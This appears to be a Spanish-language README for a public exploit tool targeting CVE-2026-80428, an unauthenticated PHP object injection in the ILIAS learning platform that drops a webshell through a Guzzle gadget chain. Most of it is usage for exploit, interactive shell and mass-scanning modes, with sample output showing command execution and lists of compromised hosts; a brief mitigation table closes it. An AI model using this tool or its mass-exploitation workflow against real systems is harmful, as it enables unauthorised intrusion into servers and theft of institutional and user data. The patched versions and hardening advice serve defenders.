
ILIAS ≤ 9.21 / 10.9 / 11.2 — Inyección de objetos PHP no autenticada (RCE)
CVE-2026-80428Vector: Endpoint de cierre de sesión back-channel de Shibboleth
Impacto: Ejecución remota de código completa como usuario del servidor web
Severidad: 🔴 CRÍTICA
CVE-2026-80428 es una vulnerabilidad crítica de inyección de objetos PHP no autenticada que afecta al sistema de gestión del aprendizaje ILIAS. Al encadenar una primitiva de envenenamiento de sesión en
ltiauth.phpcon una llamada insegura aunserialize()enshib_logout.php, un atacante puede lograr una escritura arbitraria de archivos y, en última instancia, la ejecución remota de código (RCE) — todo ello sin autenticación.
| 🎯 Parámetro | 📋 Valor |
|---|---|
| ID de CVE | CVE-2026-80428 |
| Tipo | Inyección de objetos PHP → RCE |
| Autenticación requerida | ❌ Ninguna |
| Vector de ataque | Red (HTTP/HTTPS) |
| Puntuación CVSS | 9.8 (Crítica) |
flowchart LR
A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
B -->|Serialized Guzzle Gadget| C[PHP Session Store]
C -->|2. Trigger unserialize| D[shib_logout.php]
D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
E -->|3. file_put_contents| F[💀 Webshell Dropped]
F -->|4. Execute| G[🔓 RCE]
style A fill:#ff4444,color:#fff
style F fill:#ff0000,color:#fff
style G fill:#8b0000,color:#fff
Paso a paso:
ltiauth.php almacena un payload serializado dentro de la sesión de PHP sin validación.shib_logout.php procesa una solicitud SOAP Shibboleth LogoutNotification manipulada y llama a unserialize() sobre los datos de la sesión.GuzzleHttp\Cookie\FileCookieJar invoca file_put_contents() para depositar una webshell PHP en una ruta controlada por el atacante.| 🏷️ Rama | ❌ Vulnerable | ✅ Parcheada |
|---|---|---|
| 9.x | ≤ 9.21 | ≥ 9.22 |
| 10.x | ≤ 10.9 | ≥ 10.10 |
| 11.x | ≤ 11.2 | ≥ 11.3 |
🔥 Núcleo
|
💎 Comodidad
|
# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428
# Install dependencies
pip install requests urllib3
# (Optional) Make executable
chmod +x CVE-2026-80428.py
Requisitos:
3.8+requestsurllib3python3 CVE-2026-80428.py <mode> [options]
python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal
Opciones:
| Flag | Descripción | Predeterminado |
|---|---|---|
--port | Puerto objetivo | 443 |
--path | Docroot de ILIAS en disco | /var/www/ilias/public |
--host-header | Cabecera Host personalizada | — |
--timeout | Tiempo de espera de la solicitud (s) | 30 |
python3 CVE-2026-80428.py shell 10.10.10.20
ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
ilias$ exit
python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt
Opciones:
| Flag | Descripción | Predeterminado |
|---|---|---|
-l, --list | Obligatorio — Archivo de lista de objetivos | — |
-t, --threads | Workers concurrentes | 20 |
-o, --output | Archivo de salida para objetivos vulnerables | ilias_vuln.txt |
--path | Docroot de ILIAS | /var/www/ilias/public |
--host-header | Cabecera Host personalizada | — |
--timeout | Tiempo de espera de la solicitud (s) | 30 |
Crea un archivo targets.txt:
# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080
# Mixed formats are supported
example.org
Formatos admitidos:
hosthost:porthttp://hosthttps://host:porthost/path (ruta eliminada) [ 42/500] VULN 10.10.10.20:443 https://10.10.10.20:443/util_a1b2c3.php?x=id
[ 43/500] SAFE 10.10.10.21:443 [PATCHED]
[ 44/500] ERR 10.10.10.22:8443 [Connection timed out]
[44/500] VULN:12 SAFE:30 ERR:2 8%
Para defensores y administradores de sistemas:
| 🛠️ Acción | 📝 Detalles |
|---|---|
| 🔼 Actualizar ILIAS | 9.22 / 10.10 / 11.3 o posterior |
| 🚫 Deshabilitar Shibboleth | Si no se usa — eliminar shib_logout.php |
| 🧱 Reglas WAF | Bloquear cargas útiles SOAP LogoutNotification malformadas |
| 📂 Restringir acceso de escritura | La raíz web no debe ser escribible por www-data |
| 🔍 Monitorear | Buscar archivos .php inesperados en los directorios de carga/caché |